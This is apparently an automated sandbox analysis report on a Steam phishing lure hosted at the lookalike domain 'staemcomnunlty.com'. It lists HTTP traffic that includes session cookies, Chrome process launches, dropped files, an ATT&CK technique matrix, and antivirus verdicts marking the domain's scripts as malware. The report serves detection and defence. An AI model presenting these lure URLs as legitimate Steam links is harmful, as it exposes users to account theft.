Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: store.steampowered.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://store.steampowered.com/about/qrlogin/1/1548911109135758962Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: steamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; browserid=360950381715305769; sessionid=e1f044ca1f5a799d384ff202; timezoneOffset=-18000,0
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: store.steampowered.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: steamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; browserid=360950381715305769; sessionid=e1f044ca1f5a799d384ff202; timezoneOffset=-18000,0

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 00:08:47 GMTContent-Type: application/json; charset=utf-8Transfer-Encoding: chunkedConnection: closeCross-Origin-Opener-Policy: same-originCross-Origin-Resource-Policy: same-originEtag: W/"41-0AeMVzV1pApYTMktTMxeiuYqqUg"Origin-Agent-Cluster: ?1Referrer-Policy: no-referrerStrict-Transport-Security: max-age=15552000; includeSubDomainsVary: Accept-EncodingX-Content-Type-Options: nosniffX-Dns-Prefetch-Control: offX-Download-Options: noopenX-Frame-Options: SAMEORIGINX-Permitted-Cross-Domain-Policies: noneX-Xss-Protection: 0Cache-Control: max-age=14400CF-Cache-Status: EXPIREDReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tqFj5W3SarjeiWFfv6BS8dtJyE%2Fg8lOY0uZcQVfo1a4WaDkL%2BX6qY5gH1PID5FyEnbjUIfJPC6EMh4Sm68O4EBsz%2B3Pmtc6lbL7eJW4Jaq9N%2FtXpLIFgkoeAg%2F7Y1c28OrUTxbE%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 901964bdabe95590-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2024&min_rtt=1724&rtt_var=861&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=1728&delivery_rate=1693735&cwnd=142&unsent_bytes=0&cid=bdd52df7f581e45a&ts=291&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 00:08:50 GMTContent-Type: application/json; charset=utf-8Transfer-Encoding: chunkedConnection: closeCross-Origin-Opener-Policy: same-originCross-Origin-Resource-Policy: same-originEtag: W/"41-0AeMVzV1pApYTMktTMxeiuYqqUg"Origin-Agent-Cluster: ?1Referrer-Policy: no-referrerStrict-Transport-Security: max-age=15552000; includeSubDomainsVary: Accept-EncodingX-Content-Type-Options: nosniffX-Dns-Prefetch-Control: offX-Download-Options: noopenX-Frame-Options: SAMEORIGINX-Permitted-Cross-Domain-Policies: noneX-Xss-Protection: 0Cache-Control: max-age=14400CF-Cache-Status: EXPIREDReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ak1UzfsoOBXTRh38rT9w1QEWPuwLNwP3MThC3HrCnAU%2BufKxUL04egU0bUied%2F8RHS1UVfpB3f6UATkHpDYYip6yBkee98uABZLldTZixVXlpNo41yZDLu0A8kyo3ZhpepxGG34%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 901964d2c8c64249-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1587&min_rtt=1578&rtt_var=610&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=1674&delivery_rate=1765417&cwnd=232&unsent_bytes=0&cid=cbc481e25490eee3&ts=361&x=0"

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50175
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50187 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50186
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50186 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50187
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 50175 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2280 --field-trial-handle=2064,i,17467048230231742909,8538089115570341166,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://staemcomnunlty.com/glft/91832"
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://s.team/q/1/1548911109135758962
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1972 --field-trial-handle=1928,i,10487514921460535039,16016976758729248364,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5944 --field-trial-handle=2064,i,17467048230231742909,8538089115570341166,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5412 --field-trial-handle=2064,i,17467048230231742909,8538089115570341166,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2280 --field-trial-handle=2064,i,17467048230231742909,8538089115570341166,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5944 --field-trial-handle=2064,i,17467048230231742909,8538089115570341166,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5412 --field-trial-handle=2064,i,17467048230231742909,8538089115570341166,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1972 --field-trial-handle=1928,i,10487514921460535039,16016976758729248364,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: 648f577b-41cf-41ac-b901-c132382be949.tmp.0.dr	Static PE information: real checksum: 0x24c33e should be: 0x7627
Source: 1b82c1ac-a2fe-4e30-b103-d8da8b35443c.tmp.0.dr	Static PE information: real checksum: 0x24c33e should be: 0x2b05c

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\Downloads\Unconfirmed 765878.crdownload	Jump to dropped file
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\Downloads\648f577b-41cf-41ac-b901-c132382be949.tmp	Jump to dropped file
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\Downloads\1b82c1ac-a2fe-4e30-b103-d8da8b35443c.tmp	Jump to dropped file
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: Chrome Cache Entry: 276	Jump to dropped file
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\Downloads\Unconfirmed 782710.crdownload	Jump to dropped file

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	11 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Source	Detection	Scanner
C:\Users\user\Downloads\1b82c1ac-a2fe-4e30-b103-d8da8b35443c.tmp	0%	ReversingLabs
C:\Users\user\Downloads\Unconfirmed 765878.crdownload	0%	ReversingLabs
C:\Users\user\Downloads\Unconfirmed 782710.crdownload	0%	ReversingLabs
Chrome Cache Entry: 276	0%	ReversingLabs

Source	Detection	Scanner	Label
https://staemcomnunlty.com/721a76577b085b5f0a000149.js	100%	Avira URL Cloud	malware
https://staemcomnunlty.com/721a76577b085b500b0a104241057f3646417a267f00.woff2	100%	Avira URL Cloud	malware
https://staemcomnunlty.com/218104c45072d9fe0abdcd78906efeffbda19b122733/f0013dccce18ce1efa061fcd37ed65832a4c8bf11eca.js	100%	Avira URL Cloud	malware
https://partner.steamgames.com/steamdirect	0%	Avira URL Cloud	safe
http://bugs.jquery.com/ticket/9917	0%	Avira URL Cloud	safe
https://partner.steamgames.com/	0%	Avira URL Cloud	safe

Name	IP	Active	Malicious	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	high
s.team	104.102.22.125	true	false	high
code.jquery.com	151.101.194.137	true	false	high
store.steampowered.com	95.101.149.47	true	false	high
cdnjs.cloudflare.com	104.17.24.14	true	false	high
staemcomnunlty.com	172.67.216.145	true	true	unknown
www.google.com	172.217.16.196	true	false	high
community.akamai.steamstatic.com	2.19.126.91	true	false	high
cdn.fastly.steamstatic.com	unknown	unknown	false	high
shared.fastly.steamstatic.com	unknown	unknown	false	high
store.fastly.steamstatic.com	unknown	unknown	false	high

Name	Malicious	Antivirus Detection	Reputation
https://s.team/q/1/1548911109135758962	false		high
https://store.steampowered.com/favicon.ico	false		high
https://store.steampowered.com/about/qrlogin/1/1548911109135758962	false		high
https://store.steampowered.com/dynamicstore/saledata/?cc=US	false		high
https://staemcomnunlty.com/721a76577b085b500b0a104241057f3646417a267f00.woff2	false	Avira URL Cloud: malware	unknown
https://staemcomnunlty.com/721a76577b085b5f0a000149.js	false	Avira URL Cloud: malware	unknown
https://staemcomnunlty.com/218104c45072d9fe0abdcd78906efeffbda19b122733/f0013dccce18ce1efa061fcd37ed65832a4c8bf11eca.js	false	Avira URL Cloud: malware	unknown
https://a.nel.cloudflare.com/report/v4?s=Ak1UzfsoOBXTRh38rT9w1QEWPuwLNwP3MThC3HrCnAU%2BufKxUL04egU0bUied%2F8RHS1UVfpB3f6UATkHpDYYip6yBkee98uABZLldTZixVXlpNo41yZDLu0A8kyo3ZhpepxGG34%3D	false		high
https://community.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	false		high

Name	Source	Malicious	Antivirus Detection	Reputation
https://store.steampowered.com/privacy_agreement/?snr=1_44_44_	chromecache_254.2.dr	false		high
https://support.google.com/chromebook?p=steam_on_chromebook	chromecache_254.2.dr	false		high
http://api.jqueryui.com/slide-effect/	chromecache_282.2.dr, chromecache_291.2.dr	false		high
https://store.steampowered.com/app/236390/War_Thunder/	chromecache_254.2.dr	false		high
https://store.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=YzJgj1FjzW34&l=english&	chromecache_254.2.dr	false		high
https://steamcommunity.com/workshop	chromecache_254.2.dr	false		high
https://store.steampowered.com/stats/?snr=1_14_qrlogin__global-responsive-menu	chromecache_254.2.dr	false		high
https://github.com/jquery/jquery-color	chromecache_282.2.dr, chromecache_291.2.dr	false		high
http://api.jqueryui.com/jQuery.widget/	chromecache_282.2.dr, chromecache_291.2.dr	false		high
https://partner.steamgames.com/	chromecache_254.2.dr	false	Avira URL Cloud: safe	unknown
http://www.valvesoftware.com/legal.htm	chromecache_254.2.dr	false		high
https://bugzilla.mozilla.org/show_bug.cgi?id=561664	chromecache_282.2.dr, chromecache_291.2.dr	false		high
https://store.fastly.steamstatic.com/public/javascript/rellax/rellax.min.js?v=b9454740&l=english	chromecache_254.2.dr	false		high
https://steamcommunity.com/communitycontent/	chromecache_254.2.dr	false		high
https://store.steampowered.com/app/553850/HELLDIVERS_2/	chromecache_254.2.dr	false		high
https://steam.tv	chromecache_286.2.dr, chromecache_143.2.dr	false		high
https://store.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S&l=e	chromecache_254.2.dr	false		high
https://shared.fastly.steamstatic.com/store_item_assets/steam/apps/730/capsule_231x87.jpg?t=17297030	chromecache_254.2.dr	false		high
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	chromecache_254.2.dr	false		high
https://store.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png	chromecache_254.2.dr	false		high
http://api.jqueryui.com/button/	chromecache_282.2.dr, chromecache_291.2.dr	false		high
https://cdn.fastly.steamstatic.com/store/about/social-og.jpg	chromecache_254.2.dr	false		high
https://shared.fastly.steamstatic.com/store_item_assets/steam/apps/1874880/capsule_231x87.jpg?t=1734	chromecache_254.2.dr	false		high
https://store.steampowered.com/hardware_recycling/?snr=1_44_44_	chromecache_254.2.dr	false		high
https://store.fastly.steamstatic.com/public/css/styles_about.css?v=NOTH4vx-yiCh&l=english&_c	chromecache_254.2.dr	false		high
http://bugs.jquery.com/ticket/9917	chromecache_282.2.dr, chromecache_291.2.dr	false	Avira URL Cloud: safe	unknown
http://api.jqueryui.com/size-effect/	chromecache_282.2.dr, chromecache_291.2.dr	false		high
https://store.steampowered.com/points/shop/?snr=1_14_qrlogin__global-header	chromecache_254.2.dr	false		high
https://steamcommunity.com/updates/broadcasting	chromecache_254.2.dr	false		high
https://store.steampowered.com/privacy_agreement/?snr=1_14_qrlogin__global-responsive-menu	chromecache_254.2.dr	false		high
https://cdn.fastly.steamstatic.com/store/about/videos/about_hero_loop_web.webm	chromecache_254.2.dr	false		high
https://store.steampowered.com/digitalgiftcards/?snr=1_44_44_	chromecache_254.2.dr	false		high
http://api.jqueryui.com/category/ui-core/	chromecache_282.2.dr, chromecache_291.2.dr	false		high
https://store.steampowered.com/app/1675200/Steam_Deck/	chromecache_254.2.dr	false		high
https://cdn.fastly.steamstatic.com/client/installer/SteamSetup.exe	chromecache_254.2.dr	false		high
https://store.fastly.steamstatic.com/public/css/applications/store/main.css?v=BhihFSdtkCuH&l=eng	chromecache_254.2.dr	false		high
https://shared.fastly.steamstatic.com/store_item_assets/steam/apps/2384580/1b59148462997497dd63c7915	chromecache_254.2.dr	false		high
https://cdn.fastly.steamstatic.com/store/about/cta_hero_community_pt3.png	chromecache_254.2.dr	false		high
https://store.steampowered.com/app/1874880/Arma_Reforger/	chromecache_254.2.dr	false		high
https://store.steampowered.com/about/?snr=1_14_qrlogin__global-header	chromecache_254.2.dr	false		high
https://cdn.fastly.steamstatic.com/store/about/icon-steamos.svg	chromecache_254.2.dr	false		high
https://cdn.fastly.steamstatic.com/client/installer/steam.deb	chromecache_254.2.dr	false		high
https://store.steampowered.com/?snr=1_14_qrlogin__global-header	chromecache_254.2.dr	false		high
https://store.steampowered.com/legal/?snr=1_44_44_	chromecache_254.2.dr	false		high
https://steamcommunity.com/updates/chatupdate	chromecache_254.2.dr	false		high
https://cdn.fastly.steamstatic.com/store/about/cta_hero_steamworks_pt1.png	chromecache_254.2.dr	false		high
https://store.fastly.steamstatic.com/public/javascript/main.js?v=wiAgKBaqWusf&l=english&_cdn	chromecache_254.2.dr	false		high
https://store.steampowered.com/app/2246340/Monster_Hunter_Wilds/	chromecache_254.2.dr	false		high
http://api.jqueryui.com/transfer-effect/	chromecache_282.2.dr, chromecache_291.2.dr	false		high
https://store.steampowered.com/news/?snr=1_14_qrlogin__global-responsive-menu	chromecache_254.2.dr	false		high
http://www.robertpenner.com/easing)	chromecache_282.2.dr, chromecache_291.2.dr	false		high
https://store.fastly.steamstatic.com/public/javascript/slick/slick.js?v=b9454740&l=english&_	chromecache_254.2.dr	false		high
https://store.steampowered.com/app/1295660/Sid_Meiers_Civilization_VII/	chromecache_254.2.dr	false		high
https://help.steampowered.com/en/	chromecache_254.2.dr	false		high
http://www.gimp.org/xmp/	chromecache_270.2.dr, chromecache_290.2.dr, chromecache_214.2.dr, chromecache_181.2.dr	false		high
https://store.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	chromecache_254.2.dr	false		high
https://store.steampowered.com/?snr=1_14_qrlogin__global-responsive-menu	chromecache_254.2.dr	false		high
http://api.jqueryui.com/drop-effect/	chromecache_282.2.dr, chromecache_291.2.dr	false		high
https://store.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	chromecache_254.2.dr	false		high
https://store.fastly.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=tvQi85m	chromecache_254.2.dr	false		high
https://store.steampowered.com/genre/Early%20Access/	chromecache_254.2.dr	false		high
https://cdn.fastly.steamstatic.com/store/about/cta_hero_community.png	chromecache_254.2.dr	false		high
https://cdn.fastly.steamstatic.com/store//about/logo_steam.svg	chromecache_254.2.dr	false		high
https://store.steampowered.com/stats/?snr=1_14_qrlogin__global-header	chromecache_254.2.dr	false		high
http://api.jqueryui.com/menu/	chromecache_282.2.dr, chromecache_291.2.dr	false		high
http://www.steampowered.com/steamworks/	chromecache_254.2.dr	false		high
https://cdn.fastly.steamstatic.com/store/about/icon-broadcasts.svg	chromecache_254.2.dr	false		high
http://api.jqueryui.com/category/effects-core/	chromecache_282.2.dr, chromecache_291.2.dr	false		high
http://bugs.jquery.com/ticket/8235	chromecache_282.2.dr, chromecache_291.2.dr	false		high
https://store.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=r6syZUh8_Rpk&l=en	chromecache_254.2.dr	false		high
https://steamcommunity.com/workshop/	chromecache_254.2.dr	false		high
http://api.jqueryui.com/dialog/	chromecache_282.2.dr, chromecache_291.2.dr	false		high
https://store.steampowered.com/steam_refunds/?snr=1_44_44_	chromecache_254.2.dr	false		high
